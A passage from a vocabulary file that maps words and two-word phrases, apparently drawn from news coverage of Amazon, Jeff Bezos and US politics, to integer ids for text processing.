34893, "government business": 34894, "independent study": 34895, "washington bivalves": 34896, "fraud attacks": 34897, "facilities resulting": 34898, "key cadence": 34899, "clothing wearables": 34900, "projecting need": 34901, "story timothy": 34902, "breach coverup": 34903, "typically favor": 34904, "email released": 34905, "exporter": 34906, "gop trillion": 34907, "maryland lead": 34908, "says explaining": 34909, "pakistan chinese": 34910, "fo amazon": 34911, "trump swing": 34912, "market hard": 34913, "democrats outpolled": 34914, "toronto maple": 34915, "report dipped": 34916, "2018 tamebay": 34917, "turkey previous": 34918, "judge robert": 34919, "amazon going": 34920, "slash operating": 34921, "president john": 34922, "245": 34923, "refusal": 34924, "dispens": 34925, "included jay": 34926, "laughing": 34927, "valentine officialmpv": 34928, "shopping experiences": 34929, "youth demonstrations": 34930, "director robert": 34931, "destination today": 34932, "previously accused": 34933, "empower": 34934, "king5": 34935, "pharmaceutical": 34936, "spending legislation": 34937, "bakesale": 34938, "cohen conspiracy": 34939, "getcurrentvideocardcontents videoid": 34940, "fiscal plans": 34941, "john rocket": 34942, "maga brian": 34943, "goog mean": 34944, "leak pictures": 34945, "doll yacht": 34946, "air fleet": 34947, "thumb super": 34948, "chief trims": 34949, "julie creswell": 34950, "directing blame": 34951, "retail graham": 34952, "customer obsession": 34953, "pirro liars": 34954, "consumer focused": 34955, "river car": 34956, "handbag weekend": 34957, "decade partially": 34958, "pyongyang": 34959, "humiliated": 34960, "irony prevails": 34961, "barbara humpton": 34962, "excessive cost": 34963, "statue": 34964, "list includes": 34965, "question session": 34966, "residents resolve": 34967, "reducing environmental": 34968, "rfenner bloomberg": 34969, "gerber eab": 34970, "fell despite": 34971, "faire followers": 34972, "began conversations": 34973, "dark terrors": 34974, "rmb30bn 3bn": 34975, "material amazon": 34976, "hit abc": 34977, "news host": 34978, "released previews": 34979, "employer agents": 34980, "262": 34981, "morgan joining": 34982, "fernandez": 34983, "political left": 34984, "leading trump": 34985, "spread violent": 34986, "realdonaldtrump trump": 34987, "original title": 34988, "butler importantly": 34989, "campaign met": 34990, "gas drilling": 34991, "company founded": 34992, "adapting": 34993, "thatis": 34994, "monopoly time": 34995, "jobs began": 34996, "beer institute": 34997, "latest post": 34998, "amazon believe": 34999, "accepts pretty": 35000, "people gathered": 35001, "gadgets report": 35002, "york elected": 35003, "takes stake": 35004, "sneak peeks": 35005, "bezos regular": 35006, "investigating president": 35007, "anthem stance": 35008, "short sentence": 35009, "doesn count": 35010, "need spatula": 35011, "content bryan": 35012, "particular election": 35013, "headaches": 35014, "writer editor": 35015, "country pasturelands": 35016, "partially responsible": 35017, "people know": 35018, "million signed": 35019, "lopez obrador": 35020, "popular smart": 35021, "unexpectedly resigned": 35022, "group linked": 35023, "farenheit": 35024, "retirement": 35025, "fail basically": 35026, "baton rouge": 35027, "grab aimed": 35028, "marked": 35029, "abrupt": 35030, "hall councilman": 35031, "approaching capturing": 35032, "cnw": 35033, "heights just": 35034, "minutes late": 35035, "personally funding": 35036, "reportedly requested": 35037, "far productive": 35038, "devitt commented": 35039, "human right": 35040, "continued success": 35041, "ben chestnut": 35042, "meeting ms": 35043, "var global": 35044, "choosing new": 35045, "new generation": 35046, "100 avg": 35047, "washington liz": 35048, "prosecutors appear": 35049, "news photo": 35050, "globally according": 35051, "company excessive": 35052, "enlarge source": 35053, "senate floor": 35054, "kitchen venture": 35055, "clarivate": 35056, "hyper focused": 35057, "counterpoint guggenheim": 35058, "stranger month": 35059, "episode charts": 35060, "trades mixtapes": 35061, "robert sheehan": 35062, "keefe contributed": 35063, "obama judicial": 35064, "market welch": 35065, "online div": 35066, "web links": 35067, "buyboxexperts": 35068, "existing businesses": 35069, "unexpected result": 35070, "counters francis": 35071, "ideologues": 35072, "phillip jackson": 35073, "ultimately result": 35074, "predatory speaking": 35075, "demo took": 35076, "sure does": 35077, "politics carol": 35078, "chop clip": 35079, "profitable": 35080, "director gina": 35081, "alleges backed": 35082, "moser yeah": 35083, "local transportation": 35084, "arabia writer": 35085, "systems built": 35086, "trump ex": 35087, "juicy target": 35088, "reports europeans": 35089, "torture cops": 35090, "vegan": 35091, "news don": 35092, "menace": 35093, "opened huge": 35094, "comfortablysmug": 35095, "organization online": 35096, "inaction president": 35097, "nonsense ex": 35098, "marathon runner": 35099, "edging": 35100, "revealing photos": 35101, "liberty taxpayers": 35102, "currentvidobj": 35103, "cournoyer": 35104, "altruistic mission": 35105, "eventually eliminating": 35106, "insane personal": 35107, "bess": 35108, "netflix doesn": 35109, "workers wal": 35110, "soon announce": 35111, "palsy competes": 35112, "make comment": 35113, "ap secretary": 35114, "muslim ban": 35115, "concerned consumers": 35116, "guy trump": 35117, "folklife": 35118, "security impact": 35119, "inspiration": 35120, "mountain pipeline": 35121, "uvu awoo": 35122, "publicly share": 35123, "wrong": 35124, "protection restructuring": 35125, "converses jeff": 35126, "impoverished amazon": 35127, "uses data": 35128, "twitter shares": 35129, "called block": 35130, "loiclemeur": 35131, "river amazon": 35132, "extremist": 35133, "forever stamps": 35134, "suppress": 35135, "committee member": 35136, "dominican films": 35137, "sen poetry": 35138, "pros jim": 35139, "myelitis": 35140, "umu samian_damian": 35141, "charges related": 35142, "bezos security": 35143, "company video": 35144, "yards": 35145, "horndog": 35146, "734 words": 35147, "trump demand": 35148, "street lofty": 35149, "cans": 35150, "outsourced amazon": 35151, "second deadly": 35152, "apa riverdale": 35153, "king vice": 35154, "institutional confidence": 35155, "slippery james": 35156, "fair recently": 35157, "getty images": 35158, "strongman literally": 35159, "receipts": 35160, "turned fencing": 35161, "undatable online": 35162, "employees enjoy": 35163, "marketplace selling": 35164, "amazon recommendations": 35165, "developer north": 35166, "leveraging clauses": 35167, "company promise": 35168, "1978": 35169, "dems make": 35170, "sequential": 35171, "easy finding": 35172, "2017 donald": 35173, "vice presidentelect": 35174, "multiple stakeholders": 35175, "created sweepstakes": 35176, "chat sue": 35177, "legacy diamond": 35178, "charlie kindel": 35179, "ashley gold": 35180, "bezos hmmm": 35181, "recognition platform": 35182, "cafe stormy": 35183, "blamed accelerated": 35184, "reporter leak": 35185, "work schedules": 35186, "centre saying": 35187, "advanced bioscience": 35188, "currently exist": 35189, "giant membership": 35190, "democratic institutions": 35191, "removing": 35192, "eroded schwartzman": 35193, "place": 35194, "charges georgetown": 35195, "location sheer": 35196, "pending investigations": 35197, "apparently referring": 35198, "ultimately power": 35199, "korede nurse": 35200, "night washington": 35201, "sledgehammer hits": 35202, "cut fang": 35203, "stay away": 35204, "food chain": 35205, "dod going": 35206, "food bar": 35207, "careful trump": 35208, "christmas getty": 35209, "triumphantly": 35210, "petition circulated": 35211, "poor living": 35212, "consumers subscription": 35213, "plans minutes": 35214, "authority walks": 35215, "rifts": 35216, "mvmt watches": 35217, "current incumbent": 35218, "big city": 35219, "tweet good": 35220, "puts pentagon": 35221, "mister": 35222, "unit finally": 35223, "product description": 35224, "americans stagnate": 35225, "glance midterms": 35226, "extraordinarily talented": 35227, "rick stories": 35228, "start releasing": 35229, "ftc fine": 35230, "violated certain": 35231, "business supply": 35232, "centrists": 35233, "prices politics": 35234, "hindering": 35235, "facts remain": 35236, "original test": 35237, "key measure": 35238, "boldly predicted": 35239, "named blue": 35240, "senate failed": 35241, "vestager told": 35242, "president rhetoric": 35243, "customs law": 35244, "assist": 35245, "improve postal": 35246, "mcgehee": 35247, "build spaceship": 35248, "intentional insult": 35249, "promising financial": 35250, "kiss": 35251, "claims lampert": 35252, "heidi": 35253, "newspaper vendor": 35254, "century did": 35255, "presidentelect donald": 35256, "gains better": 35257, "dividing assets": 35258, "ken": 35259, "online merchants": 35260, "mark weber": 35261, "firm diesel": 35262, "deficit": 35263, "ordinary mail": 35264, "just saw": 35265, "rico electrical": 35266, "delong pok\u00e9mon": 35267, "support": 35268, "shares ashford": 35269, "amazon disputes": 35270, "drug treatment": 35271, "bpa free": 35272, "nes set": 35273, "provide comment": 35274, "babb pentagon": 35275, "public contest": 35276, "plagiarism accusations": 35277, "\u0430and": 35278, "acosta 1542086192": 35279, "jewelry maker": 35280, "lobbyists": 35281, "overpriced avalara": 35282, "airbnb jpg": 35283, "just old": 35284, "eventually offered": 35285, "job according": 35286, "lawrey": 35287, "100 kilometers": 35288, "following growing": 35289, "amazon walked": 35290, "censored search": 35291, "setback": 35292, "public lashing": 35293, "2017 alex": 35294, "buying prepaid": 35295, "city local": 35296, "apology letter": 35297, "tirelessly alongside": 35298, "available federal": 35299, "aric": 35300, "father suffered": 35301, "children stories": 35302, "zlehp49ops donald": 35303, "laboratory tested": 35304, "conservative views": 35305, "used unethical": 35306, "market says": 35307, "fidelity vice": 35308, "association recognized": 35309, "firm menlo": 35310, "imageurl whatsappshareelement": 35311, "crony deal": 35312, "known tabloid": 35313, "backlashes especially": 35314, "criminal activity": 35315, "agency business": 35316, "posted short": 35317, "amzn palladium": 35318, "montrealgazette vancouversun": 35319, "comprehend": 35320, "political reasons": 35321, "amzn learn": 35322, "ecosystem endless": 35323, "hallie": 35324, "exemptions 2018": 35325, "campaign accounts": 35326, "effect family": 35327, "trump source": 35328, "unrivalled position": 35329, "pedophiles": 35330, "downloads le": 35331, "superbugs": 35332, "agency captured": 35333, "set aug": 35334, "group investment": 35335, "deep bonds": 35336, "duckworth mom": 35337, "outlets parent": 35338, "thing blows": 35339, "oil boss": 35340, "public love": 35341, "lows says": 35342, "frustration amazon": 35343, "story shrek": 35344, "tagger": 35345, "mlb home": 35346, "compute": 35347, "early draft": 35348, "price point": 35349, "null inlineimages": 35350, "defrauded": 35351, "sam morris": 35352, "flatiron school": 35353, "disseminate intimate": 35354, "scathing op": 35355, "prior ruling": 35356, "pagoda": 35357, "muddying": 35358, "1941": 35359, "biggest economies": 35360, "started preliminary": 35361, "best possible": 35362, "insurance revenue": 35363, "story parents": 35364, "pricing just": 35365, "submitted disposal": 35366, "cloud hosting": 35367, "huge earnings": 35368, "penitentiary john": 35369, "2021 analyst": 35370, "w5 w5": 35371, "deals creativity": 35372, "drink ware": 35373, "katera responded": 35374, "plaintiff pen": 35375, "intern ben": 35376, "hill block": 35377, "media wielding": 35378, "expletive": 35379, "features discounts": 35380, "plant turns": 35381, "overcrowded": 35382, "second hq": 35383, "centrist corporate": 35384, "pause probably": 35385, "reality collides": 35386, "enquirer history": 35387, "chris coonschristopher": 35388, "republican presidential": 35389, "lanzatech": 35390, "video hawaii": 35391, "jim greer": 35392, "surgeons": 35393, "recalling": 35394, "boycott american": 35395, "salesman 2019": 35396, "merge": 35397, "employees steven": 35398, "getty_478170176_388027 jpg": 35399, "lessons bezos": 35400, "palin going": 35401, "park dedicated": 35402, "open decentralized": 35403, "jack taylor": 35404, "700 deputy": 35405, "sadler san": 35406, "government institutions": 35407, "cincinnati ohio": 35408, "really treading": 35409, "arkin": 35410, "lovers": 35411, "reservoirs": 35412, "daily update": 35413, "incessantly reminds": 35414, "year recently": 35415, "trumporganization": 35416, "conservative viewpoints": 35417, "annual range": 35418, "amazon make": 35419, "sacred democratic": 35420, "respectfully": 35421, "regularly criticized": 35422, "t5q 107": 35423, "financial means": 35424, "qsr profits": 35425, "apple released": 35426, "provides business": 35427, "introduced amazon": 35428, "pride": 35429, "yes pun": 35430, "usps issuing": 35431, "new descriptions": 35432, "netflix powerful": 35433, "thundering": 35434, "efficiently": 35435, "attempts brennan": 35436, "2016 fortunately": 35437, "bary": 35438, "insurer centene": 35439, "parcel industry": 35440, "trump nsa": 35441, "archdiocese": 35442, "philip": 35443, "thorny points": 35444, "heavily critical": 35445, "breaking fee": 35446, "financial distress": 35447, "bias issue": 35448, "alan selby": 35449, "layfield report": 35450, "shareholder mackenzie": 35451, "silent choosing": 35452, "potentially better": 35453, "widely credited": 35454, "maintain regulatory": 35455, "joined growing": 35456, "evaded antitrust": 35457, "establish human": 35458, "sent 970": 35459, "defect": 35460, "gop tax": 35461, "article lack": 35462, "thumbimagelargesource overrides": 35463, "sanchez president": 35464, "chicken pox": 35465, "cycle think": 35466, "right america": 35467, "nev": 35468, "earlier putting": 35469, "gone live": 35470, "internet pharmacy": 35471, "helped normalize": 35472, "names paul": 35473, "clean dumps": 35474, "misled members": 35475, "new multicarrier": 35476, "introduced companion": 35477, "roku amazon": 35478, "organization interestingly": 35479, "supplies electronics": 35480, "administration list": 35481, "assistant attorney": 35482, "major recruitment": 35483, "irrelevant don": 35484, "pizza cinnamon": 35485, "financial analysts": 35486, "profile says": 35487, "covers world": 35488, "falcon rocket": 35489, "adding fodder": 35490, "roads bridges": 35491, "whisked": 35492, "strike revenue": 35493, "season kohl": 35494, "ventures saykara": 35495, "late afternoon": 35496, "2018 great": 35497, "ergonomically optimize": 35498, "protection probes": 35499, "collection basket": 35500, "seaworld ride": 35501, "increasingly intertwined": 35502, "m6": 35503, "growing industry": 35504, "chair speaking": 35505, "flyblog": 35506, "relevant popsicle": 35507, "unfussy": 35508, "ge shares": 35509, "ziggy": 35510, "implicating facebook": 35511, "utility regulation": 35512, "limitation": 35513, "kimberly": 35514, "walked away": 35515, "nungesser photo": 35516, "yelp": 35517, "harming competitors": 35518, "republicans trust": 35519, "world saving": 35520, "dem battle": 35521, "percentage point": 35522, "animal language": 35523, "sl\u00f8k chief": 35524, "teachings invited": 35525, "makes nixon": 35526, "sarah verardo": 35527, "today sears": 35528, "stumps": 35529, "powers germany": 35530, "impressively staged": 35531, "infrastructure projects": 35532, "airline": 35533, "month pay": 35534, "fbidirector": 35535, "content possibly": 35536, "pastoral land": 35537, "beiser usa": 35538, "counseling": 35539, "comscore": 35540, "intolerable": 35541, "boko": 35542, "presidentdefinitely did": 35543, "extended": 35544, "states throw": 35545, "widely known": 35546, "buy rating": 35547, "cendrowicz bbc": 35548, "france great": 35549, "115 times": 35550, "worried eye": 35551, "cl": 35552, "person predicted": 35553, "confirmed sizeable": 35554, "welch successor": 35555, "rarely mention": 35556, "kara swisher": 35557, "dropdown menu": 35558, "simply rod": 35559, "addressed university": 35560, "day la": 35561, "outlook looks": 35562, "media collateral": 35563, "pritzker heir": 35564, "snags": 35565, "hispanics": 35566, "political cold": 35567, "provision lasted": 35568, "secrets forcing": 35569, "supposedly going": 35570, "tapes": 35571, "pinterest fresh": 35572, "shall provide": 35573, "just veg": 35574, "implicit": 35575, "liberal piety": 35576, "lemonade stands": 35577, "deaf relationship": 35578, "self taught": 35579, "isolated hamlet": 35580, "dead marginalized": 35581, "just asked": 35582, "rules adding": 35583, "eagle vista": 35584, "employer standard": 35585, "constituency": 35586, "drone deliveries": 35587, "dislikes shortly": 35588, "shakiness recently": 35589, "dc reported": 35590, "servers amazon": 35591, "sell bezos": 35592, "recessions depressions": 35593, "new journey": 35594, "utah called": 35595, "dangerously": 35596, "hard charging": 35597, "lone high": 35598, "sundar survey": 35599, "operations remains": 35600, "defend policing": 35601, "redundancies defense": 35602, "shirts socks": 35603, "counterfeit sales": 35604, "seattle does": 35605, "elite demands": 35606, "crank": 35607, "oa": 35608, "event lasted": 35609, "murdoch marriage": 35610, "frequent complaint": 35611, "flom amazon": 35612, "planned new": 35613, "providing quality": 35614, "supporting magazine": 35615, "louis friends": 35616, "delbene": 35617, "cohen accuses": 35618, "happeninghere": 35619, "luntz": 35620, "267018 global": 35621, "0r3wioxgeh a4ee": 35622, "pertained": 35623, "server719393": 35624, "equally possible": 35625, "meant": 35626, "personally attacked": 35627, "northeast washington": 35628, "deal worked": 35629, "100 private": 35630, "time midday": 35631, "safety violations": 35632, "spontaneously": 35633, "scorn": 35634, "publicly challenging": 35635, "slack highlighted": 35636, "status 1011252198221594624": 35637, "needs strong": 35638, "new sic": 35639, "message suddenly": 35640, "news right": 35641, "proclaiming support": 35642, "yelp estimates": 35643, "advancing technology": 35644, "trump expects": 35645, "sword cross": 35646, "stock slips": 35647, "bp ln": 35648, "term finances": 35649, "tells today": 35650, "experience crossing": 35651, "hailed amazon": 35652, "offers perks": 35653, "turn photo": 35654, "2019 district": 35655, "improve access": 35656, "2nmdtyd6sv": 35657, "freddie": 35658, "regime crimes": 35659, "president hometown": 35660, "appearances disarmed": 35661, "surrogates": 35662, "unfairly using": 35663, "riebold": 35664, "fine bezos": 35665, "nasdaq recorded": 35666, "journalistic hot": 35667, "bottles undercover": 35668, "libs": 35669, "comparetotoggle": 35670, "sortorder server719401": 35671, "fedex instead": 35672, "rocker tweeted": 35673, "coast verizon": 35674, "smartphones carrying": 35675, "interview dennis": 35676, "divine return": 35677, "government force": 35678, "opening headquarters": 35679, "condit": 35680, "finally giving": 35681, "navy air": 35682, "cost issue": 35683, "meeting growth": 35684, "bolsonaro trip": 35685, "rent access": 35686, "shoe company": 35687, "thestreet martin": 35688, "businesses generated": 35689, "eastside": 35690, "times investigation": 35691, "female governor": 35692, "likewise questions": 35693, "sceptic": 35694, "rahm emanuel": 35695, "giving information": 35696, "advantages": 35697, "griffeth restaurant": 35698, "kamaron": 35699, "comment days": 35700, "trump scorn": 35701, "intelligence intercepts": 35702, "griffin": 35703, "sharing data": 35704, "cigar blog": 35705, "domineering": 35706, "australia bank": 35707, "porsche audi": 35708, "kindle reading": 35709, "iron lady": 35710, "correspondent disclosure": 35711, "nebulous": 35712, "today check": 35713, "office double": 35714, "david attenborough": 35715, "atlantic alexis": 35716, "job thinking": 35717, "employees called": 35718, "stoltenberg": 35719, "lee offered": 35720, "petulant emergency": 35721, "busting plans": 35722, "madrigal": 35723, "2017 growth": 35724, "sandusky": 35725, "grocery delivery": 35726, "remotely uh": 35727, "lockbox": 35728, "section devoted": 35729, "bezos picked": 35730, "case aims": 35731, "nwsseattle": 35732, "secured funding": 35733, "retail margins": 35734, "nixon did": 35735, "864": 35736, "administration travel": 35737, "trump greer": 35738, "fearless stands": 35739, "times estimated": 35740, "street analysts": 35741, "rekognition customers": 35742, "little incentive": 35743, "paul randal": 35744, "means dwindle": 35745, "personal expenses": 35746, "start getting": 35747, "rampage": 35748, "activists started": 35749, "growing unease": 35750, "unborn baby": 35751, "assistant grows": 35752, "future forte": 35753, "unwind anti": 35754, "basically asking": 35755, "persuasion": 35756, "kiki camarena": 35757, "washingtonian": 35758, "fayetteville": 35759, "trump interaction": 35760, "guns bonus": 35761, "today robber": 35762, "territory closing": 35763, "potential gadgets": 35764, "progressive pair": 35765, "businesses large": 35766, "maziarz claims": 35767, "influence issues": 35768, "trump praises": 35769, "lucky given": 35770, "dailyrecord leave": 35771, "schr\u00f6dinger": 35772, "forger lee": 35773, "fiercely disagree": 35774, "charity auction": 35775, "prevent dod": 35776, "newest documentary": 35777, "promoting counterfeit": 35778, "inadequate editorial": 35779, "australian outback": 35780, "amazon rain": 35781, "savings": 35782, "wisconsin madison": 35783, "poland prepared": 35784, "analyze data": 35785, "trump review": 35786, "assuming courts": 35787, "jfk airport": 35788, "vest bogo": 35789, "italy premier": 35790, "caller reports": 35791, "seemingly bygone": 35792, "crime raping": 35793, "law facebook": 35794, "centers prerequisite": 35795, "slipping": 35796, "bond jason": 35797, "reticence": 35798, "available old": 35799, "cnbcs jim": 35800, "fcc wouldn": 35801, "presale": 35802, "bezos increased": 35803, "face reams": 35804, "789": 35805, "oracle argues": 35806, "shares judging": 35807, "dunkin": 35808, "opioid crisis": 35809, "cactus": 35810, "homelessness reported": 35811, "manhattan proud": 35812, "lord": 35813, "helped page": 35814, "say 500": 35815, "lady friendly": 35816, "rifle": 35817, "news harley": 35818, "mood": 35819, "brian snyder": 35820, "concerned cvs": 35821, "work activities": 35822, "wapo wsj": 35823, "summit quote": 35824, "small cap": 35825, "potential scandals": 35826, "dark chapter": 35827, "platform height": 35828, "annual credit": 35829, "xom bp": 35830, "ate dinner": 35831, "connect local": 35832, "company kroger": 35833, "reporter nathan": 35834, "far criticism": 35835, "years fighting": 35836, "space vessels": 35837, "rain forest": 35838, "phrase 2018": 35839, "kaplan says": 35840, "fund wall": 35841, "location requirement": 35842, "markit finds": 35843, "home d\u00e9cor": 35844, "toys based": 35845, "neglect collaborative": 35846, "euronext growth": 35847, "malawi": 35848, "local job": 35849, "griffeth china": 35850, "personal prosperity": 35851, "results rocket": 35852, "powerful figures": 35853, "subject realize": 35854, "powerful momentum": 35855, "stupid": 35856, "2007 2009": 35857, "suggests bipartisan": 35858, "bolsonaro stands": 35859, "really disney": 35860, "hacks including": 35861, "camille preaker": 35862, "kroger swooned": 35863, "arrested london": 35864, "precision": 35865, "than\u0430his shortcomings": 35866, "trust company": 35867, "content copyright": 35868, "drink cold": 35869, "progressive socialists": 35870, "machine guns": 35871, "carterpage": 35872, "brand consultant": 35873, "sold online": 35874, "beto": 35875, "slab": 35876, "earlier announcing": 35877, "amazon reviewers": 35878, "long campaigned": 35879, "series run": 35880, "fake energy": 35881, "markets ended": 35882, "login_standalone html": 35883, "india government": 35884, "half going": 35885, "honeyman debut": 35886, "vehicles triggering": 35887, "sports content": 35888, "effort rekognition": 35889, "slug": 35890, "declining readership": 35891, "investigation florida": 35892, "month relationship": 35893, "pediatrics": 35894, "hire advisers": 35895, "rich according": 35896, "regulatory constraints": 35897, "new drug": 35898, "service monetary": 35899, "meester": 35900, "year revenues": 35901, "sellers lists": 35902, "watchful eye": 35903, "reported 563": 35904, "read heineken": 35905, "billion mega": 35906, "times sanchez": 35907, "taking extreme": 35908, "emergencies act": 35909, "existing major": 35910, "412 million": 35911, "don jr": 35912, "accent master": 35913, "loss amounted": 35914, "services cramer": 35915, "874": 35916, "mmr vaccine": 35917, "works check": 35918, "dropping second": 35919, "neurons": 35920, "warren walls": 35921, "164 jeff": 35922, "growth effectively": 35923, "keurig": 35924, "north division": 35925, "deputy chief": 35926, "evidence reporting": 35927, "obreht": 35928, "theunited": 35929, "ago slammed": 35930, "oversees": 35931, "printing mil": 35932, "wrong roache": 35933, "business quietly": 35934, "kurt soller": 35935, "office financial": 35936, "bradley": 35937, "scott bembenek": 35938, "zionist": 35939, "2000s": 35940, "changes rubio": 35941, "west virginia": 35942, "new hampshire": 35943, "gorsky": 35944, "status 1021380986452545537": 35945, "doctors agricultural": 35946, "graduated": 35947, "albuquerque new": 35948, "geographies including": 35949, "medical appointments": 35950, "fuel companies": 35951, "average closing": 35952, "largest investor": 35953, "gr\u00e9goire": 35954, "brownlee mike": 35955, "peart": 35956, "week revoked": 35957, "trade sensitive": 35958, "precrisis": 35959, "32nd doesn": 35960, "smear bezos": 35961, "consumer electronic": 35962, "scorned": 35963, "taxes create": 35964, "ap": 35965, "makes big": 35966, "deplorable choir": 35967, "multiple bankruptcies": 35968, "veiled attempts": 35969, "government kim": 35970, "1509et copyright": 35971, "leafs head": 35972, "totalitarianism": 35973, "new source": 35974, "prostitutes": 35975, "engineers reportedly": 35976, "buys smaller": 35977, "samsung google": 35978, "dismiss charity": 35979, "tremendous investigative": 35980, "sources alexandria": 35981, "magazine reporting": 35982, "encourage government": 35983, "cleaning work": 35984, "just latest": 35985, "presidentdonald trump": 35986, "herd trump": 35987, "ultimately fizzled": 35988, "year arguing": 35989, "visit jerusalem": 35990, "deflecting": 35991, "walmart size": 35992, "alleged child": 35993, "rosenstein watch": 35994, "new better": 35995, "statement explaining": 35996, "unnamed white": 35997, "years silicon": 35998, "ball jill": 35999, "especially relatable": 36000, "strong workforce": 36001, "price 133": 36002, "amazon fulfillment": 36003, "sustainable trump": 36004, "things obtaining": 36005, "apple hit": 36006, "scandal canada": 36007, "org person": 36008, "surviving father": 36009, "koreans": 36010, "introductory price": 36011, "apple automobilnews": 36012, "scientists": 36013, "agency points": 36014, "pacific region": 36015, "evan bush": 36016, "dorie": 36017, "labor politics": 36018, "encouraged massive": 36019, "russia just": 36020, "charade": 36021, "sonoya": 36022, "local apparel": 36023, "davidson county": 36024, "nodded": 36025, "pecker enterprise": 36026, "uncommon": 36027, "preannounced": 36028, "royals ride": 36029, "stuff siddiqui": 36030, "citing antitrust": 36031, "president orbit": 36032, "steven mnuchin": 36033, "funny costumes": 36034, "systematically": 36035, "boosting bezos": 36036, "fc neil": 36037, "xi later": 36038, "high flying": 36039, "father laurence": 36040, "murphy": 36041, "cabin dp": 36042, "desks thomas": 36043, "farm specifically": 36044, "hyperpartisan": 36045, "sobriety": 36046, "southeastern university": 36047, "group assets": 36048, "famously bought": 36049, "greatest workers": 36050, "key consumer": 36051, "pushing polices": 36052, "signed james": 36053, "amazon rival": 36054, "global witness": 36055, "david peace": 36056, "washington knew": 36057, "john mccain": 36058, "sketch called": 36059, "administration inherited": 36060, "donahoe package": 36061, "release follows": 36062, "enquirer sent": 36063, "york inhaling": 36064, "thumb": 36065, "chinese censorship": 36066, "thwart fishing": 36067, "executive infuriates": 36068, "wants nostolgic": 36069, "prosecuting price": 36070, "beet": 36071, "oil producers": 36072, "irish government": 36073, "releasing bootleg": 36074, "york updates": 36075, "growing trump": 36076, "surveillance weapons": 36077, "distressed communities": 36078, "remained areas": 36079, "true true": 36080, "miramar": 36081, "challenges related": 36082, "packard enterprise": 36083, "princesses": 36084, "original financial": 36085, "automation disrupt": 36086, "downfall": 36087, "living checking": 36088, "looting price": 36089, "house ahead": 36090, "anthony salvanto": 36091, "big airport": 36092, "goods 3351326": 36093, "synovus trust": 36094, "ballot initiative": 36095, "ohio rep": 36096, "cities contribute": 36097, "amazon deforestation": 36098, "grocery goals": 36099, "long history": 36100, "gyllenhaal": 36101, "lists says": 36102, "really surprising": 36103, "customer onboarding": 36104, "kss tj": 36105, "recruiting cabinet": 36106, "smaller bribe": 36107, "red white": 36108, "slavishly worshipped": 36109, "reaching 800": 36110, "increasingly views": 36111, "sun reported": 36112, "arena packed": 36113, "burden late": 36114, "workers struggle": 36115, "reporting jeff": 36116, "joni": 36117, "morning global": 36118, "carlson amazon": 36119, "dc bipartisanship": 36120, "criminal investigation": 36121, "week dr": 36122, "2659": 36123, "gunshot wounds": 36124, "new monza": 36125, "million euros": 36126, "joining shareholders": 36127, "indian market": 36128, "dna kit": 36129, "delivers better": 36130, "infrastructure reducing": 36131, "hours trade": 36132, "versace hotstar": 36133, "bengaluru editing": 36134, "increasingly shop": 36135, "address controversy": 36136, "viewers won": 36137, "wholesale deal": 36138, "ksw": 36139, "territory trump": 36140, "conservative politics": 36141, "proclaimed democratic": 36142, "ggqfsweim0": 36143, "taskrabbit": 36144, "1hlkltf massachusetts": 36145, "bourbon maker": 36146, "edition cnn": 36147, "advises searching": 36148, "easily dwarf": 36149, "finally accepted": 36150, "prime plan": 36151, "limited edition": 36152, "republican acknowledge": 36153, "bob just": 36154, "mueller enumerates": 36155, "carry fines": 36156, "new paint": 36157, "simonmaloy": 36158, "margaret talev": 36159, "munro": 36160, "company launched": 36161, "bezos responded": 36162, "mom child": 36163, "nonfiction fear": 36164, "uss": 36165, "growth properties": 36166, "dollar value": 36167, "europe market": 36168, "press lauren": 36169, "pressuring margins": 36170, "platform trump": 36171, "yield curve": 36172, "liz kelly": 36173, "lather rinse": 36174, "sgn announced": 36175, "anti competition": 36176, "militant hamas": 36177, "wasn asked": 36178, "million facebook": 36179, "byline": 36180, "gale told": 36181, "cropping": 36182, "remains unmatched": 36183, "associate brings": 36184, "wakes": 36185, "unum": 36186, "repellant stuffed": 36187, "stop bezos": 36188, "bezos outfit": 36189, "obama imposing": 36190, "won resemble": 36191, "tax year": 36192, "tennessee played": 36193, "outside updated": 36194, "overly worried": 36195, "northfield bancorp": 36196, "characters repressed": 36197, "mccabe trump": 36198, "owners saw": 36199, "instant loss": 36200, "ad dollars": 36201, "spare consumer": 36202, "major philanthropic": 36203, "influential saudis": 36204, "attacks boston": 36205, "bounce looks": 36206, "bit mocking": 36207, "palantir uses": 36208, "gmb told": 36209, "support looking": 36210, "cleveland karin": 36211, "mining reported": 36212, "presenter turned": 36213, "link usps": 36214, "regarded": 36215, "d4e": 36216, "produce territorial": 36217, "case appeared": 36218, "era generals": 36219, "renewed spotlight": 36220, "cookbook editors": 36221, "prevent abuse": 36222, "2018 cbs": 36223, "sanaa": 36224, "hindsley afp": 36225, "town anymore": 36226, "flummoxed": 36227, "prostitution sting": 36228, "twisty glass": 36229, "gift taxes": 36230, "genocide": 36231, "nielsen hldgs": 36232, "adobe analytics": 36233, "recently reported": 36234, "twitter archive": 36235, "org blog": 36236, "fair federal": 36237, "companies trump": 36238, "related companies": 36239, "retailer contrary": 36240, "issued dark": 36241, "researchers working": 36242, "selfie experiential": 36243, "voluntarily presume": 36244, "competitive apparel": 36245, "hartford insurance": 36246, "technical changes": 36247, "analyze critical": 36248, "house officials": 36249, "way richer": 36250, "varney replied": 36251, "reported assault": 36252, "survive cnbc": 36253, "uniquely fiercely": 36254, "continuously linked": 36255, "whitey": 36256, "dedicated chicagoan": 36257, "official randall": 36258, "instructions": 36259, "iconimageurl icontype": 36260, "worth jumped": 36261, "possibly qualify": 36262, "communities jiayang": 36263, "starring amy": 36264, "released plan": 36265, "studded": 36266, "amazon warriors": 36267, "hours away": 36268, "netting": 36269, "levelled yesterday": 36270, "accepted intelligence": 36271, "blumenthal conn": 36272, "support level": 36273, "dropbox": 36274, "term goals": 36275, "mores": 36276, "federal deficit": 36277, "horcher": 36278, "181004002630 game": 36279, "cutting corners": 36280, "roads nearly": 36281, "fake amazon": 36282, "administration dynamics": 36283, "supporter": 36284, "regulations amazon": 36285, "tough package": 36286, "understanding benefits": 36287, "facebook 120": 36288, "vigorously denied": 36289, "advising candidate": 36290, "bezos amassed": 36291, "critics shift": 36292, "morgan cuts": 36293, "epic scenery": 36294, "dreamer": 36295, "political positions": 36296, "attentiveness": 36297, "glynn acting": 36298, "previously mocked": 36299, "trackingpixel": 36300, "puts wisconsin": 36301, "neighborhood grocery": 36302, "current goal": 36303, "occurrences reunite": 36304, "personal interests": 36305, "relays mommy": 36306, "company dramatic": 36307, "wouldn derail": 36308, "says hit": 36309, "writer james": 36310, "edward lee": 36311, "day inside": 36312, "monk gaspar": 36313, "left britain": 